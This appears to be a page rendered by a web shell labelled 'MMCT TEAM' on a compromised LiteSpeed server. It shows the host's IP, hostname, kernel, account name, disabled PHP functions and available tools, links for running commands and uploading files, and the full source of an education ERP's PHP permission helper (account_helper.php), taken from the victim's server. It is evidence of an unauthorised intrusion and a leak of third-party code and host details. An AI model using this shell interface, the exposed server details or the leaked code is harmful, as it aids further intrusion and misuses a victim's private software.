MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/ecampus.ncriptech.com/application/libraries/../helpers/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/ecampus.ncriptech.com/application/libraries/../helpers/account_helper.php
<?php  if (!defined('BASEPATH')) exit('No direct script access allowed');


function check_institute($userdata){
    $user_permissions=(!empty($userdata->user_permissions))?json_decode($userdata->user_permissions):null;
    $db_group=$userdata->user_code;
    $user_id=$userdata->user_id;

    if(isset($user_permissions->session_master)){
        $user_can_add_session=$user_permissions->session_master->add;
        $user_can_edit_session=$user_permissions->session_master->edit;
        $user_can_delete_session=$user_permissions->session_master->delete;
        $user_can_view_session=$user_permissions->session_master->view;
        $user_can_add_course_to_session=$user_permissions->session_master->add_course_to_session;
        $user_can_view_course_to_session=$user_permissions->session_master->view_course_to_session;
        $user_can_edit_course_to_session=$user_permissions->session_master->edit_course_to_session;
        $user_can_delete_course_to_session=$user_permissions->session_master->delete_course_to_session;

        $user_can_add_canteen_vendor=$user_permissions->canteen_vendor_master->add;
    }else{
        if($userdata->user_type=='institute' || $userdata->user_type=='institute_branch'){
            $user_can_add_session='yes';
            $user_can_edit_session='yes';
            $user_can_delete_session='yes';
            $user_can_view_session='yes';
            $user_can_view_course_to_session='yes';
        }else{
            $user_can_add_session='no';
            $user_can_edit_session='no';
            $user_can_delete_session='no';
            $user_can_view_session='no';
            $user_can_view_course_to_session='no';
        }        
    }


    if(isset($user_permissions->course_master)){
       
        $user_can_add_course=$user_permissions->course_master->add;
        $user_can_edit_course=$user_permissions->course_master->edit;
        $user_can_delete_course=$user_permissions->course_master->delete;

        $user_can_update_course_fees=$user_permissions->course_master->edit_course_fees;
        $user_can_update_course_booking_fees=$user_permissions->course_master->edit_course_booking_fees;

        $user_can_add_subject=$user_permissions->course_master->add_subject_to_course;
        $user_can_edit_subject=$user_permissions->course_master->edit_subject_of_course;
        $user_can_delete_subject=$user_permissions->course_master->delete_subject_of_course;
        

    }else{
        if($userdata->user_type=='institute' || $userdata->user_type=='institute_branch'){
            $user_can_add_course='yes';
            $user_can_edit_course='yes';
            $user_can_delete_course='yes';
    
            $user_can_update_course_fees='yes';
            $user_can_update_course_booking_fees='yes';
    
            $user_can_add_subject='yes';
            $user_can_edit_subject='yes';
            $user_can_delete_subject='yes';
        }else{
            $user_can_add_course='no';
            $user_can_edit_course='no';
            $user_can_delete_course='no';

            $user_can_update_course_fees='no';
            $user_can_update_course_booking_fees='no';

            $user_can_add_subject='no';
            $user_can_edit_subject='no';
            $user_can_delete_subject='no';
        }
        
    }


    if(isset($user_permissions->bank_master)){
        $user_can_add_bank=$user_permissions->bank_master->add;
        $user_can_edit_bank=$user_permissions->bank_master->edit;
        $user_can_delete_bank=$user_permissions->bank_master->delete;
        $user_can_add_balance=$institute_data->bank_master->add_balance;
        $user_can_edit_balance=$institute_data->bank_master->edit_balance;
    }else{
        if($userdata->user_type=='institute' || $userdata->user_type=='institute_branch'){
            $user_can_add_bank='yes';
            $user_can_edit_bank='yes';
            $user_can_delete_bank='yes';
            $user_can_add_balance='yes';
            $user_can_edit_balance='yes';
        }else{
            $user_can_add_bank='no';
            $user_can_edit_bank='no';
            $user_can_delete_bank='no';
            $user_can_add_balance='no';
            $user_can_edit_balance='no';
        }
        
    }


    if(isset($user_permissions->hostel_master)){
    
    
        $user_can_add_hostel=$user_permissions->hostel_master->add;
        $user_can_edit_hostel=$user_permissions->hostel_master->edit;
        $user_can_delete_hostel=$user_permissions->hostel_master->delete;
        $user_can_view_hostel=$user_permissions->hostel_master->view;
        $user_can_add_hostel_fees=$user_permissions->hostel_master->add_admission_fees;
        $user_can_edit_hostel_fees=$user_permissions->hostel_master->edit_admission_fees;
        $user_can_delete_hostel_fees=$user_permissions->hostel_master->delete_admission_fees;
       
    }else{
        if($userdata->user_type=='institute' || $userdata->user_type=='institute_branch'){
            $user_can_add_hostel='yes';
            $user_can_edit_hostel='yes';
            $user_can_delete_hostel='yes';
            $user_can_view_hostel='yes';
            $user_can_add_hostel_fees='yes';
        }else{
            $user_can_add_hostel='no';
            $user_can_edit_hostel='no';
            $user_can_delete_hostel='no';
            $user_can_view_hostel='no';
            $user_can_add_hostel_fees='no';
        }        
    }


    if(isset($user_permissions->seatbooking_process)){
        $user_can_view_seatbookins=$user_permissions->seatbooking_process->view;
        $user_can_add_seatbookins=$user_permissions->seatbooking_process->add;
        $user_can_edit_seatbookins=$user_permissions->seatbooking_process->edit;
        $user_can_delete_seatbookins=$user_permissions->seatbooking_process->delete;
    }else{
        if($userdata->user_type=='institute' || $userdata->user_type=='institute_branch' || $userdata->user_type=='agent'){
            $user_can_view_seatbookins='yes';
            $user_can_add_seatbookins='yes';
            $user_can_edit_seatbookins='yes';
            $user_can_delete_seatbookins='yes';
        }else {
            $user_can_view_seatbookins='no';
            $user_can_add_seatbookins='no';
            $user_can_edit_seatbookins='no';
            $user_can_delete_seatbookins='no';
        }       
    }


    if(isset($user_permissions->admission_process)){
        $user_can_view_admissions=$user_permissions->admission_process->view;
        $user_can_add_admissions=$user_permissions->admission_process->add;
        $user_can_edit_admissions=$user_permissions->admission_process->edit;
        $user_can_delete_admissions=$user_permissions->admission_process->delete;
        $user_can_edit_admission_date=$user_permissions->admission_process->edit_date;
    }else{
        if($userdata->user_type=='institute' || $userdata->user_type=='institute_branch'){
            $user_can_view_admissions='yes';
            $user_can_add_admissions='yes';
            $user_can_edit_admissions='yes';
            $user_can_delete_admissions='yes';
            $user_can_edit_admission_date='yes';
        }else{
            $user_can_view_admissions='no';
            $user_can_add_admissions='no';
            $user_can_edit_admissions='no';
            $user_can_delete_admissions='no';
            $user_can_edit_admission_date='no';
        }        
    }

    if(isset($user_permissions->hrm_employee)){
        $user_can_add_emp=$user_permissions->hrm_employee->add;
        $user_can_edit_emp=$user_permissions->hrm_employee->edit;
        $user_can_delete_emp=$user_permissions->hrm_employee->delete;
        $user_can_view_emp=$user_permissions->hrm_employee->view;
    }else{
        if($userdata->user_type=='institute' || $userdata->user_type=='institute_branch'){
            $user_can_add_emp='yes';
            $user_can_edit_emp='yes';
            $user_can_delete_emp='yes';
            $user_can_view_emp='yes';
        }else{
            $user_can_add_emp='no';
            $user_can_edit_emp='no';
            $user_can_delete_emp='no';
            $user_can_view_emp='no';
        }        
    }

    if($userdata->user_type=='institute'){
        $student_upload_limit=$userdata->user_max_students;
        $employee_upload_limit=$userdata->user_max_count;
        $institute_id=$userdata->user_pk_id;
        $inst_type=$userdata->user_type;
        $inst_code=$userdata->user_code;
        $inst_name=$userdata->user_profile_name;
        $inst_email=$userdata->user_email;
        $inst_ph=$userdata->user_contact_no;
        $inst_website=$userdata->user_website;

        $max_student_uploaded=CI()->um->get_count_students(array('stu_inst_id'=>$institute_id),$db_group);

        if($max_student_uploaded==$student_upload_limit){
            $student_data_can_be_uploaded='no';
        }else if($max_student_uploaded<$student_upload_limit){
            $student_data_can_be_uploaded='yes';
        }

        

        // $_email_settings=$this->sm->get_system_settings(array('settings_inst_id'=>$inst_id,'settings_type'=>'email_settings'));

        // if(!empty($_email_settings)){
        //     $email_settings=unserialize($_email_settings->settings_value);
        //     $email_settings['MAIL_PROTOCOL'];
        // }

        $logo_data=CI()->sm->get_file(array('storage_type'=>'college_logo','storage_type_of'=>'institute','storage_type_id'=>$institute_id),$db_group);

        if(!empty($logo_data) && !empty($logo_data->media_disk_path) && file_exists(FCPATH.$logo_data->media_disk_path)){
            $inst_logo_url=base_url($logo_data->media_disk_path_relative);
            $inst_logo_path=FCPATH.$logo_data->media_disk_path;
        }else{
            $inst_logo_url='';
            $inst_logo_path='';
        }

        $college_signature_data=CI()->sm->get_file(array('storage_type'=>'college_authorize_signature_logo','storage_type_id'=>$institute_id),$db_group);

        if(!empty($college_signature_data) && is_file(FCPATH.$college_signature_data->media_disk_path)){
            $inst_signature_logo=base_url($college_signature_data->media_disk_path_relative);
        }else{
            $inst_signature_logo='';
        }

        $college_imgseal_data=CI()->sm->get_file(array('storage_type'=>'college_seal_logo','storage_type_id'=>$institute_id),$db_group);

        if(!empty($college_imgseal_data) && is_file(FCPATH.$college_imgseal_data->media_disk_path)){
            $college_seal_logo=base_url($college_imgseal_data->media_disk_path_relative);
        }else{
            $college_seal_logo='';
        }

        $state_data=CI()->sm->_get_states(array('state_id'=>$userdata->user_state),TRUE,$db_group);

        $inst_address=$userdata->user_address_1.','.$userdata->user_city.','.$state_data->state_name.','.$userdata->user_pincode;

        $course_upload_limit=$userdata->user_max_course;
        $student_upload_limit=$userdata->user_max_students;

        $user_can_add_course='yes';//$userdata->user_can_add_course;
        $user_can_add_session='yes';//$userdata->user_can_add_session;
        $user_can_add_branch='yes';//$userdata->user_can_add_branch;
        $user_has_lms_access='yes';//$userdata->user_has_lms_access;
        $user_has_hrms_access='yes';//$userdata->user_has_hrms_access;
        $user_has_crm_access='yes';//$userdata->user_has_crm_access;

        $user_has_ctms_access='yes';//$userdata->user_has_ctms_access;

        $user_has_asm_access='yes';//$userdata->user_has_asm_access;

        $user_can_add_role='yes';
        $user_can_edit_role='yes';
        $user_can_delete_role='yes';

        $user_can_add_emp='yes';
        $user_can_edit_emp='yes';
        $user_can_delete_emp='yes';
        $user_can_view_emp='yes';

    }else if($userdata->user_type=='institute_branch'){
        $student_upload_limit=$userdata->branch_max_students;
        $institute_id=$userdata->branch_user_id;
        $inst_type=$userdata->user_type;
        $inst_code=$userdata->branch_code;
        $inst_name=$userdata->branch_name;

        $max_student_uploaded=CI()->um->get_count_students(array('stu_inst_id'=>$institute_id),$db_group);

        if($max_student_uploaded==$student_upload_limit){
            $student_data_can_be_uploaded='no';
        }else if($max_student_uploaded<$student_upload_limit){
            $student_data_can_be_uploaded='yes';
        } 

        $user_has_lms_access=$userdata->branch_has_lms_access;
        $user_has_hrms_access=$userdata->branch_has_hrms_access;
        $user_has_crm_access=$userdata->branch_has_crm_access;

        $user_has_ctms_access=$userdata->branch_has_ctms_access;

        $user_has_asm_access=$userdata->branch_has_asm_access;

        $user_can_add_role='yes';
        $user_can_edit_role='yes';
        $user_can_delete_role='yes';
    }else if($userdata->user_type=='employee'){            
        $institute_id=$userdata->emp_inst_id;
        $inst_type=$userdata->emp_inst_type;

        $emp_data=CI()->um->get_user(array('user_id'=>$user_id),'employee',null,$db_group);

        $inst_name='N/A';
        $inst_code=$userdata->user_code;

        $user_can_add_role='no';
        $user_can_edit_role='no';
        $user_can_delete_role='no';
    }
    else if($userdata->user_type=='student'){
        $institute_id=$userdata->stu_inst_id;
        $inst_type=$userdata->stu_inst_type;
        $student_upload_limit='N/A';
        $user_has_lms_access='N/A';
        $user_has_hrms_access='N/A';
        $user_has_crm_access='N/A';
        $user_has_ctms_access='N/A';
        $user_has_asm_access='N/A';            
        $inst_name='N/A';
        $inst_code='N/A';
        $student_data_can_be_uploaded='no';
    }else if($userdata->user_type=='agent'){
        $institute_id=$userdata->agent_inst_id;
        $inst_type=$userdata->agent_inst_type;
        $student_upload_limit='N/A';
        $user_has_lms_access='N/A';
        $user_has_hrms_access='N/A';
        $user_has_crm_access='N/A';
        $user_has_ctms_access='N/A';
        $user_has_asm_access='N/A';        
        $inst_name='N/A';
        $student_data_can_be_uploaded='no';
        $inst_code=$userdata->user_code;
    }

    $institute_data=CI()->um->get_institute(array('user_pk_id'=>$institute_id),true,$db_group);
    $user_has_hrms_access=$institute_data->user_has_hrms_access;
    $user_has_ams_access=$institute_data->user_has_ams_access;

    $student_upload_limit=$institute_data->user_max_students;

    $max_student_uploaded=CI()->um->get_count_students(array('stu_inst_id'=>$institute_id),$db_group);

    //echo $max_student_uploaded.'<br>';

    //echo $student_upload_limit;

    /*if($max_student_uploaded==0){
        $student_data_can_be_uploaded='yes';
    }else{
        if($max_student_uploaded==$student_upload_limit){
            $student_data_can_be_uploaded='no';
        }else if($max_student_uploaded<$student_upload_limit){
            $student_data_can_be_uploaded='yes';
        }
    }*/

    $student_data_can_be_uploaded='yes';

    //echo '<br>'.$student_data_can_be_uploaded;die;
     

    $max_employee_uploaded=CI()->um->get_count_employees(array('emp_inst_id'=>$institute_id),$db_group);

    if($max_employee_uploaded==0){
        $employee_data_can_be_uploaded='yes';
    }else{
        if($max_employee_uploaded==$employee_upload_limit){
            $employee_data_can_be_uploaded='no';
        }else if($max_employee_uploaded<$employee_upload_limit){
            $employee_data_can_be_uploaded='yes';
        }
    }
    

    $user_has_lms_access=$institute_data->user_has_lms_access;
    $user_has_crm_access=$institute_data->user_has_crm_access;
    $user_has_ctms_access=$institute_data->user_has_ctms_access;
    $user_has_asm_access=$institute_data->user_has_asm_access;
    $user_has_online_pay_mode=$institute_data->user_has_online_pay_mode;
    $user_has_split_pay_mode=$institute_data->user_has_split_pay_mode;
    $user_has_student_reg_by_agent_access=$institute_data->user_has_student_reg_by_agent_access;
    $in_bill_print=$institute_data->in_bill_print;
    $lateral_course_applicable=$institute_data->lateral_course_applicable;
    $lateral_sem_start=$institute_data->lateral_sem_start;
    $sem_payment_restriction=$institute_data->sem_payment_restriction;

    if($userdata->user_type=='agent'){
        if($user_has_student_reg_by_agent_access== 'yes'){
            $user_can_view_admissions='yes';
            $user_can_add_admissions='yes';
            $user_can_edit_admissions='yes';
            $user_can_delete_admissions='yes';
            $user_can_edit_admission_date='yes';
        }else{
            $user_can_view_admissions='no';
            $user_can_add_admissions='no';
            $user_can_edit_admissions='no';
            $user_can_delete_admissions='no';
            $user_can_edit_admission_date='no';
        }
    }

    $p= [
        'institute_id'=>$institute_id,
        'inst_parent_id'=>$institute_id,
        'inst_type'=>$inst_type,
        'inst_code'=>$inst_code,
        'inst_name'=>$inst_name,
        'inst_email'=>$inst_email,
        'inst_ph'=>$inst_ph,
        'inst_address'=>$inst_address,
        'inst_website'=>$inst_website,
        'inst_logo_path'=>$inst_logo_path,
        'inst_logo_url'=>$inst_logo_url,
        'inst_signature_logo_url'=>$inst_signature_logo,
        'inst_seal_logo_url'=>$college_seal_logo,
        'inst_in_bill_print'=>$in_bill_print,
        'inst_lateral_course_applicable'=>$lateral_course_applicable,
        'inst_lateral_sem_start'=>$lateral_sem_start,
        'inst_sem_payment_restriction'=>$sem_payment_restriction,
        'inst_phonepay_txn_required'=>$institute_data->phonepay_txn_required,
        'inst_student_data_excel_format'=>$userdata->student_excel_format,
        'student_data_can_be_uploaded'=>$student_data_can_be_uploaded,
        'student_upload_limit'=>$student_upload_limit,
        'employee_data_can_be_uploaded'=>$employee_data_can_be_uploaded,
        'employee_upload_limit'=>$employee_upload_limit,
        'course_upload_limit'=>$course_upload_limit,
        'cousre_upload_access'=>$user_can_add_course,
        'course_edit_access'=>$user_can_edit_course,
        'course_delete_access'=>$user_can_delete_course,
        'course_fees_edit'=>$user_can_update_course_fees,
        'course_booking_fees_edit'=>$user_can_update_course_booking_fees,
        'course_add_subject'=>$user_can_add_subject,
        'course_edit_subject'=>$user_can_edit_subject,
        'course_delete_subject'=>$user_can_delete_subject,
        'session_upload_access'=>$user_can_add_session,
        'session_edit_access'=>$user_can_edit_session,
        'session_delete_access'=>$user_can_delete_session,
        'session_view_access'=>$user_can_view_session,
        'session_add_course'=>$user_can_add_course_to_session,
        'session_edit_course'=>$user_can_edit_course_to_session,
        'session_delete_course'=>$user_can_delete_course_to_session,
        'session_view_course'=>$user_can_view_course_to_session,
        'bank_add_access'=>$user_can_add_bank,
        'bank_edit_access'=>$user_can_edit_bank,
        'bank_delete_access'=>$user_can_delete_bank,
        'bank_balance_add'=>$user_can_add_balance,
        'bank_balance_edit'=>$user_can_edit_balance,
        'canteen_add_vendor'=>$user_can_add_canteen_vendor,
        'hostel_view_access'=>$user_can_view_hostel,
        'hostel_add_access'=>$user_can_add_hostel,
        'hostel_edit_access'=>$user_can_edit_hostel,
        'hostel_delete_access'=>$user_can_delete_hostel,
        'hostel_fees_add_access'=>$user_can_add_hostel_fees,
        'hostel_fees_edit_access'=>$user_can_edit_hostel_fees,
        'hostel_fees_delete_access'=>$user_can_delete_hostel_fees,
        'admission_view_access'=>$user_can_view_admissions,
        'admission_add_access'=>$user_can_add_admissions,
        'admission_edit_access'=>$user_can_edit_admissions,
        'seatbooking_view_access'=>$user_can_view_seatbookins,
        'seatbooking_add_access'=>$user_can_add_seatbookins,
        'seatbooking_edit_access'=>$user_can_edit_seatbookins,
        'seatbooking_delete_access'=>$user_can_delete_seatbookins,
        'lms_access'=>$user_has_lms_access,
        'hrms_access'=>$user_has_hrms_access,
        'ams_access'=>$user_has_ams_access,
        'crm_access'=>$user_has_crm_access,
        'asm_access'=>$user_has_asm_access,
        'ctms_access'=>$user_has_ctms_access,
        'agent_student_registration_access'=>$user_has_student_reg_by_agent_access,
        'user_has_online_pay_mode'=>$user_has_online_pay_mode,
        'user_has_split_pay_mode'=>$user_has_split_pay_mode,
        'user_id'=>$userdata->user_id,
        'user_role'=>$userdata->user_role,
        'user_type'=>$userdata->user_type,
        'user_role_add'=>$user_can_add_role,
        'user_role_edit'=>$user_can_edit_role,
        'user_role_delete'=>$user_can_delete_role,
        'user_can_add_emp'=>$user_can_add_emp,
        'user_can_edit_emp'=>$user_can_edit_emp,
        'user_can_delete_emp'=>$user_can_delete_emp,
        'user_can_view_emp'=>$user_can_view_emp,
        'user_permissions'=>$user_permissions
    ];


    //print_obj($p);die;


    return $p;
}


function get_user_name($userdata){
    if($userdata->user_type=='institute'){
        $user_name=$userdata->user_profile_name;
    }else if($userdata->user_type=='student'){
        if($userdata->emp_mid_name!=''){
            $user_name=$userdata->stu_first_name.' '.$userdata->stu_mid_name.' '.$userdata->stu_last_name;
        }else{
            $user_name=$userdata->stu_first_name.' '.$userdata->stu_last_name;
        }

    }else if($userdata->user_type=='employee'){

        if($userdata->emp_mid_name!=''){
            $user_name=$userdata->emp_first_name.' '.$userdata->emp_mid_name.' '.$userdata->emp_last_name;
        }else{
            $user_name=$userdata->emp_first_name.' '.$userdata->emp_last_name;
        }
    }else if($userdata->user_type=='agent'){

        $user_name=$userdata->agent_name;
    }

    return $user_name;
}

function get_user_email($userdata){
    if($userdata->user_type=='institute'){
        $user_email=$userdata->user_email;
    }else if($userdata->user_type=='student'){
        $user_email=$userdata->stu_email;
    }else if($userdata->user_type=='employee'){

        $user_email=$userdata->emp_email;
    }else if($userdata->user_type=='agent'){

        $user_email=$userdata->agent_email;
    }

    return $user_email;
}

function check_account_renewal_status($userdata){

	$institute_data=check_institute($userdata);
    $db_group=$userdata->user_code;

	if($institute_data['inst_type']=='institute'){
        $inst_expiry_param=array('user_pk_id'=>$institute_data['institute_id']);
    }else if($institute_data['inst_type']=='institute_branch'){
        $inst_expiry_param=array('branch_user_id'=>$institute_data['institute_id']);
    }

	$account_expiry=CI()->um->get_institute_expire($inst_expiry_param,2,$institute_data['inst_type']);

	if(!empty($account_expiry)){
        if($institute_data['inst_type']=='institute'){
            $user_expire_at=$account_expiry->user_expire_at;
        }else if($institute_data['inst_type']=='institute_branch'){
            $user_expire_at=$account_expiry->branch_expire_at;
        }

        $expiry_message='Your account will expire on '.date('F d,Y',strtotime($user_expire_at)).'.Renew now';
    }else{
        $expiry_message='';
    }

    $account_expired=CI()->um->get_institute_expired($inst_expiry_param,$institute_data['inst_type']);

    if(!empty($account_expired)){

        if($institute_data['inst_type']=='institute'){
            $user_expire_at=$account_expired->user_expire_at;
        }else if($institute_data['inst_type']=='institute_branch'){
            $user_expire_at=$account_expired->branch_expire_at;
        }

        $expired_message='Your account has expired on '.date('F d,Y',strtotime($user_expire_at)).'.Renew now';
    }else{
        $expired_message='';
    }

    return ['expiry_message'=>$expiry_message,'expired_message'=>$expired_message];
}


function check_max_upload_limit($userdata,$db_group){
	$institute_data=check_institute($userdata);
    $db_group=$userdata->user_code;
    $current_year=date('Y');

   	$max_student_uploaded=CI()->um->get_count_students(array('stu_inst_id'=>$institute_data['institute_id'],'stu_record_old'=>'no','DATE(created_actual_at)'=>$current_date),$db_group);

    $student_upload_limit=$institute_data['student_upload_limit'];


    if($student_upload_limit==$max_student_uploaded){
        $student_data_can_be_uploaded='no';
    }else if($student_upload_limit>$max_student_uploaded){
        $student_data_can_be_uploaded='yes';
    }

    return ['student_upload_limit'=>$student_upload_limit,'student_data_can_be_uploaded'=>$student_data_can_be_uploaded];
}


function generate_pacakge_invoice_no(){

    $pacake_details=CI()->pacm->get_total_pacakge_data(null);

    if($pacake_details>0){
        $no=$pacake_details+1;
    }else{
        $no=1;
    }

    $invoice_no=INVOICEINITIAL.date('Ymd').$no;

    return $invoice_no;
}


function check_access_control_v1($userdata, $access_section, $action) {
    $institute_data = check_institute($userdata);

    // Check if user_permissions is present and non-empty
    if (!empty($institute_data['user_permissions'])) {
        // Decode JSON data
        $user_permissions = $institute_data['user_permissions'];

        // Check if $action is an array
        if (is_array($action)) {
            foreach ($action as $act) {
                // Return 'no' immediately if any action is not allowed
                if (empty($user_permissions->{$access_section}->{$act}) || $user_permissions->{$access_section}->{$act} !== 'yes') {
                    return 'no';
                }
            }
            // All actions are allowed
            return 'yes';
        } else {
            // Single action
            return (!empty($user_permissions->{$access_section}->{$action}) && $user_permissions->{$access_section}->{$action} === 'yes') ? 'yes' : 'no';
        }
    }

    return 'no';
}

function check_access_control($userdata, $access_section, $actions = null) {
    $institute_data = check_institute($userdata);
    $db_group=$userdata->user_code;

    if($institute_data['user_type']=='institute'){
        return 'yes';
    }else{
        // Check if user_permissions is present and non-empty
        if (empty($institute_data['user_permissions'])) {
            return 'no';
        }

        // Decode JSON data
        $user_permissions = $institute_data['user_permissions'];

        // Fetch the permissions for the section once
        $section_permissions = isset($user_permissions->{$access_section}) ? $user_permissions->{$access_section} : null;

        // If section doesn't exist, return 'no'
        if (!$section_permissions) {
            return 'no';
        }

        // If $actions is an array, check all actions
        if (is_array($actions)) {
            foreach ($actions as $action) {
                if (empty($section_permissions->{$action}) || $section_permissions->{$action} !== 'yes') {
                    return 'no';
                }
            }
            // All actions are allowed
            return 'yes';
        }

        // If $actions is a single action, check that action
        if (!empty($section_permissions->{$actions}) && $section_permissions->{$actions} === 'yes') {
            return 'yes';
        }

        return 'no';
    }

    
}


function get_app_config($key){
    $link_code= get_link_code();

    $system_links=CI()->sm->_get_system_links(array('link_code'=>$link_code),TRUE);
    $base_link_code=(!empty($system_links))?$system_links->link_code:'admin';
    $system_theme=(!empty($system_links))?$system_links->link_theme:'nt';

    if(!empty($system_links)){
        $link_website=$system_links->link_website;
        $link_printing_logo_data=CI()->sm->get_file(array('storage_type'=>'college_printing_logo','storage_type_id'=>$system_links->link_inst_id));

        if($system_links->link_type==='college'){
            $storage_type='college_logo';
        }else if($system_links->link_type==='college_branch'){
            $storage_type='college_branch_logo';
        } 

        $link_logo_data=CI()->sm->get_file(array('storage_type'=>$storage_type,'storage_type_id'=>$system_links->link_inst_id));

        if(!empty($link_printing_logo_data) && !empty($link_printing_logo_data->media_disk_path) && file_exists(FCPATH.$link_printing_logo_data->media_disk_path)){
            $link_printing_logo=base_url($link_printing_logo_data->media_disk_path_relative);
        }else if(!empty($link_logo_data) && !empty($link_logo_data->media_disk_path) && file_exists(FCPATH.$link_logo_data->media_disk_path)){
            $link_printing_logo=base_url($link_logo_data->media_disk_path_relative);
        }
        else{
            $link_printing_logo=base_url('uploads/app/ncriptech_logo.webp');
        }

        if(!empty($link_logo_data) && !empty($link_logo_data->media_disk_path) && file_exists(FCPATH.$link_logo_data->media_disk_path)){
            $link_logo=base_url($link_logo_data->media_disk_path_relative);
        }else{
            $link_logo=base_url('uploads/app/ncriptech_logo_small.webp');
        }

        $system_name=ucwords($base_link_code);

    }else{
        $link_printing_logo=base_url('uploads/app/ncriptech_logo.webp');
        $link_logo=base_url('uploads/app/ncriptech_logo_small.png');
        $link_website='https://cloudcampus.org.in/admin';
        $system_name='Cloudcampus';
    }
}



MMCT - 2023